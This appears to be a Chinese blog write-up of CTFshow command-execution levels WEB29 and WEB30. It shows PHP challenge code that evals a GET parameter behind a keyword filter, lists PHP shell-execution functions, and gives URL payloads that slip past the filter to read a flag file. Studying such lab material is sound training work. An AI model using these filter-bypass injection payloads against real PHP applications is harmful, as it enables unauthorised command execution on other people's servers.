首页 > 其他分享 >CTF_SHOW命令执行系列

CTF_SHOW命令执行系列

时间:2022-09-04 10:11:49浏览次数:64  
标签:系列 string SHOW system 命令 CTF command array php

CTF_SHOW命令执行系列

WEB29

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

仅过滤flag

绕过方式:

  1. ?c=system("cat fl''ag.php"); //在linux中命令中间的''并不会影响命令执行 ""同理
    
  2. ?c=system("cat fl$(IFS)ag.php");
    
  3. ?c=$a=fl;$b=ag;system("cat $a$b.php");
    

WEB30

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

用户可控 get请求 c
不区分大小写过滤字符 flag、system、php

解:

flag与php绕过方法同上

php中有许多与system相似的命令执行函数

函数名 备注 是否直接输出
string system($command,$return)
void exec(string command,array &outpub,int &return_var) command是要执行的命令,output是获得执行命令输出的每一行字符串。exec输出的是命令执行结果的最后一行内容。
void passthru($command,$return_var) 与system几乎一样
string shell_exec($command) 与system类似 但是结果返回到变量中并不会直接打印
`` echo `command`
$storm=popen($command,'w'); pclose($storm);
proc_open (string $cmd ,array $descriptorspec ,array &$pipes [, string $cwd [, array $env [, array $other_options ]]])
void pcntl_exec ( string $path [, array $args [, array $envs ]] )

这里直接使用passthru进行绕过

?c=passthru("cat fl''ag.ph''p");

WEB31

WEB32

一天两道 菜鸡的救赎

标签:系列,string,SHOW,system,命令,CTF,command,array,php
From: https://www.cnblogs.com/beginnerzyh/p/16654369.html

相关文章